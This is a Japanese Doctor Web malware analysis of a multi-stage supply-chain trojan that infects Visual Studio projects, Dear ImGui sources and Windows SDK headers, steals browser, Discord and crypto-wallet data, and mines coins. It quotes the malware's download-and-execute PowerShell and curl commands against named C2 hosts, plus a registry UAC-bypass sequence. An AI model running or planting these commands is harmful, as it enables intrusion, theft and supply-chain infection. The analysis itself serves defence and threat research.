狙われるソフトウェア開発者:サプライチェーンを攻撃し、感染したPCに幾重もの被害をもたらす新たなトロイの木馬

Hot news | 全てのニュース | ウイルスデータベース

Doctor Webアンチウイルスラボはサプライチェーンを攻撃する新たなトロイの木馬を発見し、その詳細な分析を行いました。このマルウェアはC++やC#で開発されるプロジェクトを主な標的としています。また、そのペイロードは複数の悪意のある機能を併せ持つため、極めて危険なマルウェアでもあります。それらの機能は、データ窃取、クリップボード内容へのアクセス、バックドアとしての機能、不正なマイニングの実行、そして他のファイルへの感染というものです。

このマルウェアは2025年の第4四半期に初めて発見され、現在に至るまで作成者によって継続的に変更や改良が加えられ続けています。主に感染した実行ファイルやPythonスクリプトを介してインターネット上で拡散され、その感染プロセスは非常に複雑です。本稿では一連の流れを、段階を追ってみていきます。

第1段階:Trojan.DownLoader49.35384

Doctor Web のスペシャリストは、感染した正規アプリケーションファイルの多くに共通するパターンがみられることを発見しました。元の実行ファイルにグローバルオブジェクトが追加されるというものです。トロイの木馬化されたアプリケーションが実行されると、直ちにPEBウォーキング(プロセス環境ブロックの走査)手法を使用してシステムAPIへのアクセス権を取得します。次に、inittermメソッドが関数ポインタのテーブルを先頭から順に走査して初期化します。これら関数のうちの1つが悪意のある関数で、PowerShellコマンドを実行します。このトロイの木馬の一部のバージョンでは、このペイロードは暗号化されています。

Inittermを使用した起動

PowerShellコマンドが悪意のあるファイルTrojan.DownLoader49.35687をダウンロードして実行し、感染プロセスを第2段階へと移行させます。

悪意のあるPowerShellコマンド

感染した実行ファイルに加え、悪意のあるPythonスクリプト(Python.Downloader.255)も発見されています。これらのファイルにも同じ悪意のあるコードが含まれていますが、Fernetを用いて暗号化されており、1行目に大量のスペース(空白文字)を配置するという最も初歩的な難読化手法によって隠ぺいされていました。このケースでも、その実行は多段階で進行します。

悪意のあるPythonスクリプト

第2段階:Trojan.DownLoader49.35687

この段階で、Trojan.DownLoader49.35687は自身がサンドボックスで実行されていないかどうかをチェックします。さらに、同期オブジェクトmutex(ミューテックス)「Global\PFNMX」(固定値)を作成し、それを使用することで、コンピューター上で自身の別のインスタンスがすでに実行されていないかどうかを確認します。そのような同期オブジェクトの例に「\Sessions\1\BaseNamedObjects\Global\PFNMX_0o6u9MMc2QdKvqeHmgPRE008」があります。

また、この第2段階でトロイの木馬はGitHubパブリックリポジトリ(公開リポジトリ)やゲームプラットフォーム「Steam」からC2サーバーアドレスを取得しようとします。攻撃者はそれらのプラットフォームにドメイン名を投稿し、トロイの木馬がそれを読み込んで感染の第3段階となるBackDoor.Siggen2.5906をダウンロードできるようにしています。

攻撃者によって作成されたSteamアカウントには、ドメイン名に関する情報がプレーンテキストで含まれています。

C2ドメイン名が含まれたSteamのプロフィールページ

GitHubには、暗号化されたC2サーバーアドレスがRawファイル「raw[.]githubusercontent[.]com/XxXloverXxX/rustflare/refs/heads/main/crates/engine」として保存されています。トロイの木馬はこのファイルをダウンロードし、まずBase64で、次にキー「ZwFlushKey」を用いたXOR演算によって復号化します。

暗号化されたドメイン名

ダウンロードが完了すると、Trojan.DownLoader49.35687はその悪意のあるコードを、C:\Windows\System32 にある予め指定された41の実行ファイルのうちいずれか1つのプロセスに挿入(インジェクション)します。

接続を確立できたC2サーバーのアドレスはトロイの木馬の内部にハードコードされた文字列に追加され、名前付きパイプpipe\VccFrameworkchannelを介して次の感染段階に渡されます。

第3段階:BackDoor.Siggen2.5906

この段階で、中核となる悪意のあるタスクが実行されます。BackDoor.Siggen2.5906はミューテックスオブジェクトglobal\ PFNX_side(固定値)を作成し、次に、事前に作成済みである前述のパイプを介して第2段階のトロイの木馬からデータを受け取ります。そのデータにはトロイの木馬のIDと、BackDoor.Siggen2.5906の通信先となるC2サーバーのアドレスが含まれています。

システム内での永続化を図るために、BackDoor.Siggen2.5906は「bungee.boo」という名前のファイルをダウンロードします。このファイルには第2段階のトロイの木馬Trojan.DownLoader49.35687のペイロードが含まれており、BackDoor.Siggen2.5906は以下のDLLファイルをこのファイルと置き換えます。

  • Discordのprofapi.dll
  • Microsoft Edgeで使用される「domain_actions.dll」(「Domain Actions」フォルダ内)および「well_known_domains.dll」(「Well Known Domains」フォルダ内)
  • C:\Windows\omadmapi.dll

また、BackDoor.Siggen2.5906はWindowsレジストリを改変し、WinRar.exeで圧縮ファイルを開いた際に悪意のあるコードが実行されるようにすることもできます。

管理者権限が必要な動作を実行するために、BackDoor.Siggen2.5906はUAC(ユーザーアカウント制御)バイパス手法を使用します。まず、BackDoor.Siggen2.5906はランダムな数字の名前を持つ.vbsスクリプトを生成します。このスクリプトに、管理者権限を必要とする命令が含まれています。次に、cmd.exeを使用して以下のコマンドを実行します。

reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe
%APPDATA%\Microsoft\369059.vbs" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
c start /B ComputerDefaults.exe

その後、このトロイの木馬はデータ窃取、クリップボード内容へのアクセス、バックドアとしての機能、不正なマイニングの実行、そして他のファイルへの感染という5つの主要な悪意のあるタスクを実行します。

データ窃取

BackDoor.Siggen2.5906は以下を含むさまざまな情報を盗み出すことが可能です。

  • ユーザー名やパスワードを入力せずに他のユーザーのアカウントにログインするためのDiscordトークン
  • Chrome、Edge、Opera、Brave、Yandex Browserなどのブラウザで使用されるパスワードおよびCookieファイル。従来のデータ抽出手法に加えてCCCWF.tmpファイル(Trojan.PWS.Siggen5.33623)を利用する場合もあります。このトロイの木馬はブラウザのプロセスに自身のコードを挿入することでパスワードを傍受し、それらをテキストファイルに保存します。
  • Telegram Desktopのフォルダ
  • 仮想通貨ウォレットExodusのフォルダ

このトロイの木馬はExodusのフォルダを盗み出すだけでなく仮想通貨ウォレット自体の改変も行います。そのためにapp.asarファイルを探し当て、balista[.]lol/Stb/PokerFace/RTApp[.]txtに記載されたURLからcurlを使用してダウンロードしたファイルと置き換えます。置き換え後のファイルに含まれるindex.jsファイル(Trojan.Siggen32.44702)にはunlock()関数が実装されており、この関数が実行されると、Exodusウォレットのリカバリーフレーズを傍受して攻撃者のサーバーに送信します。

置き換えられたindex.jsファイル

クリップボード内容へのアクセス

このトロイの木馬の持つ悪意のある機能のうちとりわけ危険なものがこの機能です。ユーザーのクリップボード内容を常時監視し、バンクカード情報を盗み出して攻撃者のサーバーへ送信します。また、仮想通貨ウォレットのアドレスを、C2サーバーから受け取った偽のアドレスにすり替えます。

バックドア

この機能は攻撃者が以下のコマンドを使用して感染したPCを遠隔操作することを可能にします。

exc curlを使用して特定のファイルをダウンロードし、実行する
RVRS リバースプロキシを起動する
RUNCMD cmd経由でコマンドを実行する
GETFILE 特定のファイルの内容をC2サーバーにアップロードする
LISTDIR コンピューター上の特定のディレクトリにあるファイルの一覧をC2サーバーに送信する
TROLL ユーザーをからかったり怒らせたりするような迷惑な(トロール)コマンドを実行する(例:earrape、scary_sound、rickroll、mute_audio、jumpscare_screamerなど)

不正マイニング

このトロイの木馬はcurlを使用してファイルhttps://files[.]catbox[.]moe/lvh9j3[.]binTrojan.Packed2.50953)をダウンロードし、実行します。そのペイロードや設計は第2段階のトロイの木馬のものと類似していますが、BackDoor.Siggen2.5906の代わりにTrojan.BtcMine.3956をダウンロードして展開するという点が異なります。このTrojan.BtcMine.3956は容易に入手可能なオープンソースツールXMRigT-RexTeamRedMiner を利用する不正マイニング用のコンポーネントで、一定期間ユーザーによる操作がない(アイドル状態になった)ことを検知した場合にのみ動作を開始します。

ファイル感染

ファイルを感染させ、その後他のマシンへとさらに感染を拡大していくという能力もこのトロイの木馬の際立った特徴の1つです。感染対象には以下のファイルが含まれます。

  • imgui_impl_win32.cpp
  • .suo
  • .exe
  • winnetwk.h (Windows SDK)
  • .vcxproj および .csproj

標的ファイルのパスを特定するため、このトロイの木馬は利用可能なディスクドライブを調べ、コマンドを実行します。以下はAドライブ(A://)の例です。

dir /a /s /b A:\*imgui_impl_win32.cpp A:\*.suo A:\*.exe A:\*.vcxproj A:\*.csproj > %ALLUSERSPROFILE%\ADat.bin3290.

攻撃者は、ソフトウェア開発者が侵害されたプロジェクトを一般に公開することを当てにしています。それにより、そのプロジェクトをビルド、コンパイル、変更する他の開発者のマシンが.suo.vcxproj.csprojファイルを介して自動的に感染していきます。そして一般ユーザーは、それらの侵害されたソフトウェア開発ツールを使用して作成された、感染している実行ファイルを実行してしまう可能性があります。

imgui_impl_win32.cppファイル(Trojan.Loader.3129)

imgui_impl_win32.cppはC++向けの人気の高いGUIライブラリ「Dear ImGui」で使用されるファイルです。トロイの木馬はこのファイルに2行のコードを追加します。1行目にはペイロードが含まれ、2行目がそのペイロードを実行します。

ペイロードを含むコード行

ペイロードを実行するコード行

コマンドは以下のとおりです。


start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api[.]tf/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt' -OutFile $env:APPDATA\BK879002.exe; Start-Process -FilePath $env:APPDATA\BK879002.exe -WindowStyle Hidden }" 

その結果ライブラリが感染し、その後はC++を使用して作成されるあらゆるアプリケーションに悪意のあるコードが含まれることになります。そしてそれらのアプリケーションが転送されたりダウンロードされたりすることで感染がさらに拡大します。

.suoファイル(Trojan.Loader.3138)

これはMicrosoft Visual Studio開発環境において使用されるファイルで、特定のプロジェクトに関するユーザー設定が保存されています。トロイの木馬は、元のファイルをC2サーバーからダウンロードした感染ファイルに置き換えます。

感染したファイル

その結果、Visual Studio でそのプロジェクトが開かれると、同時に以下の悪意のあるコードも実行されるようになります。


javascript:new ActiveXObject('WScript.Shell').Run('cmd /b /c curl -o \"C:\\ProgramData\\S47LY.exe\" \"https://pee-files[.]nl/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt\" && start \"\" \"C:\\ProgramData\\S47LY.exe\"', 0, false);close();

Winnetwk.hファイル(Trojan.Loader.3184)

Windowsアプリ開発向けにMicrosoftから提供されている公式開発キットの1つがWindows SDKです。

このトロイの木馬はレジストリを使用してWindows SDKのインストールフォルダを特定します。続けて、ネットワーキング機能を担うwinnetwk.hファイルをフォルダ内で探し出し、そのファイルに悪意のあるコードを追加します。

感染したwinnetwk.hファイル

これにより、その後に作成される、winnetwk.hを使用するすべてのアプリに第2段階のトロイの木馬のコードが組み込まれるようになります。

.exeファイルの改ざん

このトロイの木馬は適した .exe ファイルを検索し、自身のAPI およびinitterm初期化関数をそれらのファイルに挿入します。その後、そのファイルは第1段階のトロイの木馬、すなわちTrojan.DownLoader49.35384としての機能を実行し始めます。

感染した.vcxprojファイル(Trojan.Loader.3128、Trojan.Loader.3127)および.csprojファイル(Trojan.Loader.3126)

これらはVisual Studio のC++およびC#プロジェクトファイルです。このトロイの木馬はIDE に「ビルド前イベント(pre-build event)」を追加することで、プロジェクトのビルドが開始される前に悪意のあるコマンドが自動的に実行されるようにします。トロイの木馬の初期バージョンでは、第1段階のものと同様のコードが追加されていました。

初期バージョンのコード

後のバージョンではコードがより複雑になり、難読化も施されています。

後のバージョンのコード

Trojan.Loader.3128の実行段階の1つ

悪意のあるコマンドが実行されると.vbsスクリプトが作成され、このスクリプトがPowerShellペイロードを実行します。このトロイの木馬は、以下のURLに対してクエリを送信します。

  • youtu.be/akoxddx6lgc
  • steamcommunity.com/profiles/76561198737324192

これらのアドレスはYouTubeアカウントページを指しており、そこにはBase64で暗号化された別のURLが記載されています。

暗号化されたURLが記載されているYouTubeアカウントページ

トロイの木馬はURLを復号化してC2サーバーアドレスを取得し、そこから第2段階のトロイの木馬と同様のペイロードを入手します。

こうした多岐にわたる悪意のある機能が、このトロイの木馬を極めて危険な脅威たらしめています。システムの感染ならびに他のコンピューターへの拡散を防ぐため、アンチウイルスデータベースを定期的に更新し、インターネットからダウンロードするすべてのファイルをスキャンすることが推奨されます。Dr.Web Security SpaceおよびDr.Web Desktop Security Suiteはこの脅威を確実に検出し削除します。また、.vcxproj、.csproj、imguiファイルについては、悪意のあるコードを除去することで修復が行われます。そのため、Dr.Webユーザーはこの脅威からしっかりと保護されています。

Trojan.DownLoader49.35384の詳細 ※英語

Trojan.DownLoader49.35687の詳細 ※英語

BackDoor.Siggen2.5906の詳細 ※英語

Trojan.BtcMine.3956の詳細 ※英語

Indicators of compromise(セキュリティ侵害インジケーター)

0
新着ニュース 全てのニュース